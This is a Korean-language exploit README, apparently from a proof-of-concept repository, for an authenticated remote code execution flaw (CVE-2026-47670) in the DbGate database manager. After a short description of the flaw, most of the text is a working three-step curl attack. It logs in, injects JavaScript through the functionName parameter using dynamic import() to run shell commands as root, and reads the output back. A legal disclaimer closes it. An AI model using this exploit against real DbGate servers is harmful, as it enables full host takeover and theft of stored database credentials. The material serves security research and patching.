
DbGate의 loadReader functionName 코드 인젝션을 통한 인증된 원격 코드 실행
DbGate에서 loadReader 함수명 코드 인젝션을 통한 인증된 원격 코드 실행
DbGate는 여러 데이터베이스 시스템을 동시에 다루어야 하는 개발자 및 데이터베이스 관리자를 위해 설계된 오픈 소스, 크로스 플랫폼 데이터베이스 관리 도구입니다. MySQL, PostgreSQL, SQL Server, MongoDB, SQLite, Oracle 등을 포함한 SQL 및 NoSQL 데이터베이스를 관리할 수 있는 통합 웹 및 데스크톱 인터페이스를 제공하므로, 각기 다른 클라이언트 애플리케이션을 전환할 필요가 없습니다. DbGate는 Windows, macOS, Linux에서 독립 실행형 데스크톱 애플리케이션으로 실행되거나 Docker를 통해 웹 애플리케이션으로 배포될 수 있어 팀 환경 및 원격 데이터베이스 관리 시나리오에서 널리 사용됩니다.
CVE-2026-47670은 DbGate 7.1.9 미만 버전에 영향을 미치는 인증된 원격 코드 실행 (RCE) 취약점입니다. 이 결함은 /runners/load-reader 엔드포인트에 존재하며, functionName 매개변수가 적절한 살균 처리 없이 안전하지 않은 코드 실행 경로로 전달됩니다. 유효한 DbGate 자격 증명을 가진 공격자는 이 매개변수를 통해 임의의 JavaScript 코드를 주입할 수 있으며, 해당 코드는 루트 권한으로 서버에서 실행됩니다. 이 취약점은 애플리케이션의 require = null 완화 조치가 동적 import() 문을 사용하여 쉽게 우회될 수 있기 때문에 특히 위험하며, 공격자가 쉘을 생성하고, 데이터베이스 자격 증명을 유출하며, 연결된 데이터베이스 서버로 피벗하거나 호스트 시스템을 완전히 장악할 수 있습니다.
# Step 1 — authenticate and obtain Bearer token
curl -s -X POST http://example.com/auth/login \
-H 'Content-Type: application/json' \
-d '{"amoid":"logins","login":"admin","password":"admin"}' | grep accessToken
# RESPONSE
# ========
{"accessToken":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhbW9pZCI6ImxvZ2lucyIsImxvZ2luIjoiYWRtaW4iLCJpYXQiOjE3ODE3NzMwNDIsImV4cCI6MTc4MTc3NjY0Mn0.M61gw5bidF2kyzZwRukwzv0yxm3Zj0tUItdPqCXDQ_Y"}
# Step 2 — inject via functionName (replace TOKEN and /tmp/_dbg_poc.jsonl)
curl -s -X POST http://example.com/runners/load-reader \
-H 'Content-Type: application/json' \
-H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhbW9pZCI6ImxvZ2lucyIsImxvZ2luIjoiYWRtaW4iLCJpYXQiOjE3ODE3NzMwNDIsImV4cCI6MTc4MTc3NjY0Mn0.M61gw5bidF2kyzZwRukwzv0yxm3Zj0tUItdPqCXDQ_Y' \
-d '{"functionName":"csvReader\nvar _f=await import(\"fs\");var _c=await import(\"child_process\");var _o=_c.execSync(\"id\").toString().trim();_f.writeFileSync(\"/tmp/_dbg_poc.jsonl\",JSON.stringify({__isStreamHeader:true,columns:[{columnName:\"out\"}]})+String.fromCharCode(10)+JSON.stringify({out:\"CANARY \"+_o})+String.fromCharCode(10));//","props":{}}'
# RESPONSE
# ========
{"apiErrorMessage":"The \"body\" argument must be of type function or an instance of Blob, ReadableStream, WritableStream, Stream, Iterable, AsyncIterable, or Promise or { readable, writable } pair. Received undefined"}
# Step 3 — read back command output
curl -s -X POST http://example.com/jsldata/get-rows \
-H 'Content-Type: application/json' \
-H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhbW9pZCI6ImxvZ2lucyIsImxvZ2luIjoiYWRtaW4iLCJpYXQiOjE3ODE3NzMwNDIsImV4cCI6MTc4MTc3NjY0Mn0.M61gw5bidF2kyzZwRukwzv0yxm3Zj0tUItdPqCXDQ_Y' \
-d '{"jslid":"file:///tmp/_dbg_poc.jsonl","offset":0,"limit":100}'
# RESPONSE
# ========
[{"out":"CANARY uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)"}]
python CVE-2026-47670-X7.py
이 저장소와 그 내용은 합법적인 보안 연구, 공인된 침투 테스트, 교육적 학습 및 방어 목적으로만 제공됩니다. 이 자료에 접근하거나 사용함으로써 귀하는 모든 관련 법률을 준수하고, 귀하가 소유하지 않은 시스템에 대해 테스트하거나 이러한 기술을 적용하기 전에 적절한 승인을 받았음을 인정하고 전적인 책임을 집니다.
이 프로젝트의 작성자 및 관리자는 이 정보의 적용으로 인한 손해, 법적 결과 또는 오용에 대해 어떠한 책임도 지지 않습니다. 승인되지 않은 접근, 악의적인 활동 또는 불법적인 목적으로 사용하는 것은 명시적으로 금지되며 지원되지 않습니다.
책임감 있게 사용하십시오. 합법적으로 유지하십시오. 소유하거나 서면으로 명시적 허가를 받은 시스템만 테스트하십시오.
SCT-PL